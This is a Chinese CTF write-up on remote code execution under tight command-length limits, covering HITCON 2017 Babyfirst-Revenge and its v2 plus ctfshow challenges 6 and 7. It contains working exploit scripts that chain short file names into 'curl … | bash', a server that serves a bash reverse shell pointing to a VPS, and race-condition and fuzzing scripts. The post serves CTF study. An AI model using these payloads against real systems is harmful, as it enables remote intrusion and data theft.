短字符长度RCE

本文最后更新于 2025年8月28日 晚上

参考链接

Funny Linux Tips – fushulingのblog

⁠‍‌‌‬‌‬‬‌⁠‍‌‬⁠⁠‍‌‍‌‍⁠‍极限命令执行6、7 WP - 飞书云文档

Ctfshow极限大挑战之三字节读取文件

在了解这个题目前,先学习一下hitcon2017的题目,babyfirst-revenge和v2,

hitcon2017

Babyfirst-Revenge

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

这里先创建了文件夹$sandbox,然后修改了当前的目录,然后对于输入的内容cmd有一个长度的限制

My-CTF-Web-Challenges/hitcon-ctf-2017/babyfirst-revenge at master · orangetw/My-CTF-Web-Challenges

标准的思路直接去看orange神的exp,这边现在本地尝试一下内容

已知在linux里面可以用\进行简单的绕过

2025-08-28165259

其次的话执行sh会直接执行文本里面的内容

2025-08-28165501

即使报错了,对应的命令还是会继续执行下去,那么基础的知识差不多就这些。

那么这题的流程大概就是打开冰箱--->把大象塞进去--->把冰箱关上

那么exp是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
from time import sleep
from urllib.parse import quote # Python 3.x

payload = [
r'>ls\\',
r'ls>_',
r'>\ \\',
r'>-t\\',
r'>\>g',
r'ls>>_',

r'>sh\\',
r'>ba\\',
r'>\|\\',
r'>8\\',
r'>20\\',
r'>2.\\',
r'>22\\',
r'>3.\\',
r'>8\\',
r'>7.\\',
r'>4\\',
r'>\ \\',
r'>rl\\',
r'>cu\\',

'sh _',
'sh g',
]

r = requests.get('http://ip/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://ip/?cmd=' + quote(i))
print(i)
sleep(0.2)

然后这个是网页的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from http.server import HTTPServer, BaseHTTPRequestHandler

class CommandHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
# 直接返回纯文本
self.send_header('Content-type', 'text/plain; charset=utf-8')
self.end_headers()
# 输出反弹 shell 命令
self.wfile.write(b"bash -i >& /dev/tcp/vps/5566 0>&1\n")

if __name__ == "__main__":
# 监听 0.0.0.0:80
server_address = ('0.0.0.0', 80)
httpd = HTTPServer(server_address, CommandHandler)
print("Serving on port 80...")
httpd.serve_forever()

上面代码大致的意思就是先输入了ls -t>g然后接下来的顺序就是构造了一个curl ip |bash的内容,

分别执行sh _sh g,执行第一个_文件是为了执行里面的内容ls -t>g

Babyfirst-Revenge-V2

1
2
3
4
5
6
7
8
9
10
11
<?php
echo $_SERVER['REMOTE_ADDR']."\n";
$sandbox = '/var/www/html/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

在上面的基础上又少了一个长度,ls>>_在此基础上不能用了,长度不够了,但思路大致还是这样,需要反弹shell

2025-08-28190910

可以看到*是可以执行命令的,linux排序是按字母进行排序的,如上图所示

这里参照wp使用的是rev,首先构造g> ht- sl,之后利用*v这种任意字符来执行命令进行逆向,最后拼接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
from time import sleep
from urllib.parse import quote # Python3

payload = [
'>dir',
'>sl',
'>g\\>',
'>ht-',
'*>v',

# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',

# generate "curl orange.tw|python;"
'>\\;\\',
'>on\\',
'>th\\',
'>py\\',
'>\\|\\',
'>tw\\',
'>e.\\',
'>ng\\',
'>ra\\',
'>o\\',
'>\\ \\',
'>rl\\',
'>cu\\',

# got shell
'sh x',
'sh g',
]

r = requests.get('http://ip/?reset=1')
for i in payload:
assert len(i) <= 4
r = requests.get('http://ip/?cmd=' + quote(i))
print(i)
sleep(0.1)

ctfshow

极限命令执行6

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 3) {
sleep(1);
system($ctfshow);
}
}else{
highlight_file(__FILE__);
}
?>

2025-08-28193707

这里flag直接在这里了,那么就要尝试读出内容

但是这里还是比较畸形的,只给了三长度,先去/bin看一下内容

我们知道*读取文件然后执行,那么命令

2025-08-28194239

[a-f]的命令可以操作flag.php和index.php,命令开头为[g-i]的可以操作index.php

这里可以看到下面的hd2025-08-28194458

那么解题的思路就是可以尝试把flag的内容输入到index.php里面,然后再读取index.php的内容

2025-08-28195241

这里存在sleep(1)有时间进行短暂的缓存,由于时间限制需要Race Condition,我们写个脚本(参考包子哥的)

2025-08-28201506

由于一旦覆盖了之后靶机原始的index.php不能执行了,所以脚本是一次性的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from concurrent.futures import ThreadPoolExecutor
import time


url = "http://c9c81c6d-23db-4e1c-9247-41c24da46c44.challenge.ctf.show/"

payloads = [
{"ctf_show": ">cp"},
{"ctf_show": "*p"},
{"ctf_show": ">hd"},
{"ctf_show": "*d*"}
]

def send(data):
r = requests.post(url, data=data)
print(r.text)

if __name__ == "__main__":

send(payloads[0])
time.sleep(1)
executor = ThreadPoolExecutor(max_workers=50)
args_list = [payloads[1], payloads[2], payloads[3]]
for args in args_list:
time.sleep(0.1)
executor.submit(send, args)

开始的命令写进去之后不能有什么影响之后就是按照顺序进行执行竞争确保在有限的时间进行覆盖内容

极限命令执行7

  • 提示1:flag在用户家目录里,文件名未知
  • 提示2:可用字符是 数字、字母、特殊符号

以上是给的提示
那么分析就是在/home/*中的某个文件,按照一般的逻辑应该是/home/www-data下的文件

看代码给的是3长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);


#go back home , your flag is not here!

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 3) {
system($ctfshow);
}
}else{
highlight_file(__FILE__);
}
?>

首先执行pwd的命令回显是/var/www/html

那其实可以根据思考以及在本地的尝试* ~命令可以放到当前用户的目录里

现在需要fuzz里面存在的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import string
import itertools

requests.packages.urllib3.disable_warnings()

url="http://ae5b568a-d5fd-4733-8435-d4ad413d27aa.challenge.ctf.show/"

chars = string.digits+string.ascii_lowercase
for cmd in [''.join(pair) for pair in itertools.product(chars, repeat=2)]:
r = requests.post(url, data={'ctf_show': cmd}, verify=False)
if r.content:
print("="*40)
print(cmd)
print(r.content)

这里看到7z是存在的,那么应该是打包到指定的目录

这里没sleep那么直接执行就行

1
2
3
4
>7z
>a
>b
* ~

最后执行的逻辑就是7z /home/www-data a ba是add的意思最后打包成b.7z下载得到flag

后话

在八月月底终于水了一篇,前几天在群里看了狗哥发的文章,然后包子也发文章了,刚好借此水一篇


短字符长度RCE
https://0ran9ewww.github.io/2025/08/28/ctfshow/极限命令执行6&7/
作者
orange
发布于
2025年8月28日
更新于
2025年8月28日
许可协议